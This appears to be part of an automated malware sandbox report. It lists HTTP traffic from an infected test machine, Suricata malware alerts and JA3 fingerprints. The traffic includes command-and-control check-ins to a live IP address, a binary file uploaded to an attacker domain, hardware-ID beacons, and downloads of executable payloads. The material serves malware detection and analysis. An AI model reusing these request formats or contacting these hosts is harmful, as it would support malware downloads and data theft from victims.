Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentygr20sb.topAccept: /Content-Length: 28687Content-Type: multipart/form-data; boundary=------------------------jEpxWWk645OJHBQe9ElJMeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6a 45 70 78 57 57 6b 36 34 35 4f 4a 48 42 51 65 39 45 6c 4a 4d 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 72 69 6c 75 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2c 2c 5d 2a 49 d9 1f 2b 12 10 41 34 b2 42 df 9f 59 ce 1f 9c ae de 01 1a 77 95 18 f1 96 b4 6a e0 4d 60 14 68 f1 ac df 91 61 e0 e9 37 c5 38 29 3c a6 35 05 20 ed 05 55 15 0b f4 84 14 0d 6e 99 04 e2 07 60 b7 b1 5d a1 2a f7 b2 d0 71 78 e3 2e e3 bc 04 1a 50 ea 0a bc 12 71 71 09 0d e4 af 3a 1c 76 28 28 32 76 3c 36 26 af d5 9c da be e1 f7 99 d1 e5 19 00 9a 89 09 1a c1 ff 71 ee 35 2e f3 78 11 4e 30 80 1d bd bf 06 de 54 56 21 c5 8e 96 ca f4 d2 81 b9 46 83 fb 3f 56 5a 49 cd 42 af bb d8 58 eb 29 35 a5 84 fb 20 cb 96 99 bb 84 1e 54 a8 77 ed 7b 55 33 80 28 70 6e f5 a3 2a 83 03 72 22 c7 80 e8 b1 05 33 e5 1c f1 14 e6 68 ae 88 1e 42 82 46 d4 00 e7 04 33 92 79 8d 6e 97 0d 44 a9 32 69 bc 82 b3 1a 14 7b b6 85 61 e1 63 56 70 1f 3d 4e fd d4 2c b4 7f da f3 9f f4 85 43 3a 55 f9 c5 6f 24 87 27 d5 ac b9 ea 27 cf 43 f4 9b 41 6e 4f d2 55 f1 80 02 21 fd 25 59 5e 1d ff 9b d8 a4 7c 50 d4 fa 7a e5 56 e0 b6 fb e3 d7 ae fa e0 95 b5 69 68 33 e3 3e 8e 91 06 51 45 3c 87 0b 30 55 30 66 4e 0d 13 7a 03 70 27 a6 0b 3c f5 e3 77 d9 ec 76 d8 d5 ce 2f cf ee b0 15 a1 88 53 61 ad 14 9c f8 21 21 b0 be f8 fb d5 e6 2e 3d fe 3d 09 e8 29 1f 07 2e 8e 9a 47 c0 f8 01 29 2a 25 81 71 4a 09 2e 6e 6c 51 0e e6 7a 51 e4 91 38 cb e1 4c ad fd c4 3e c5 8a 67 f2 bc 47 fe 0d 16 d2 ba b7 54 51 07 e2 be ae 68 5e 22 95 fd 31 04 46 ac 17 39 e4 23 9a 68 82 83 f7 d7 67 93 1b 15 2a c3 07 29 9c b5 1b 7a 89 72 ed 2f c7 96 cb da a2 62 24 d0 15 4d 5c 50 f5 1a d9 1c 75 b8 17 d6 1e 15 21 38 88 40 e8 e9 c0 98 66 b7 98 40 33 9b f6 1a 5c c6 ed a3 ae 34 c6 17 84 16 26 79 e2 e2 6c 33 3c 75 d3 88 e3 f1 40 19 34 d0 e1 b7 f4 81 ad 28 1c 8a 25 74 b9 a3 8e db 5b 02 db 1a 8c 72 e3 42 be c6 97 b5 0c 27 33 93 79 9a bd d8 7f 15 db 4a 76 8c fa 0e 63 90 04 dc 98 68 45 4a df 35 05 d9 56 ce 37 08 69 8c 93 16 a7 c4 de 0b 33 03 b7 c7 e6 e0 cf b8 9d 85 70 0a 2e 91 9a 46 88 b0 b0 90 05 da 76 53 a7 46 a1 a6 94 e4 27 f9 ce 7d 37 85 e5 d2 e5 04 f3 21 a5 6a f3 49 e7 99 eb 02 a9 5f 8b 03 2f a9 8e a4 3c 35 df 60 8b 45 65 7e 20 29 bc de a2 4c 4b 8a 6e 62 a6 fe 4b e8 47 6b d6 f6 68 86 a8 54 42 c3 80 f0 85 ff 67 a5 1d d3 b6 7f 62 58 b6 a5 0b a7 45 90 03 4f 7d 93 50 ab 32 61 39 7c 30 3c 1d e1 7f 1a 0f e9 c3 ce 1c 64 71 84 c7 41 bb f0 80 09 66 13 d4 b5 20 a8 9c ea f8 27 f5 ed cb 76 f1 67 c5 f8 c8 08 99 e7 31 cc 63 23 0b ed 3e 8a 41 86 70 00 01 23 5e 66 d5 0f ee 71 45 04 e6 eb 13 d8 46 a4 20 3b
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /kNcZsqQOSglxukmuLodY1734167391 HTTP/1.1Host: home.twentygr20sb.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 73 79 70 45 61 32 79 67 50 59 59 41 35 54 74 33 31 37 33 34 33 35 37 37 39 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "sypEa2ygPYYA5Tt31734357798", "data": "Done2" }
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:43:45 GMTIf-None-Match: "67602e91-1cc200"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016138001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:43:52 GMTIf-None-Match: "67602e98-1b6a00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016139001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"stok------JKJECBAAAFHIIEBFCBKF--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:41:50 GMTIf-None-Match: "67602e1e-ebc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016140001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 13:42:18 GMTIf-None-Match: "67602e3a-2a5e00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016141001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"stok------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="build"stok------FHJDAAEGIDHDGCAAFCBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.50.161 104.21.50.161

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49867 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49894 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49887 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49892 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49901 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49910 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49919 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49918 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49926 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49932 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49938 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49954 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49955 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49963 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49975 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49990 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50037 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50030 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50054 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50057 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50062 -> 104.21.50.161:443
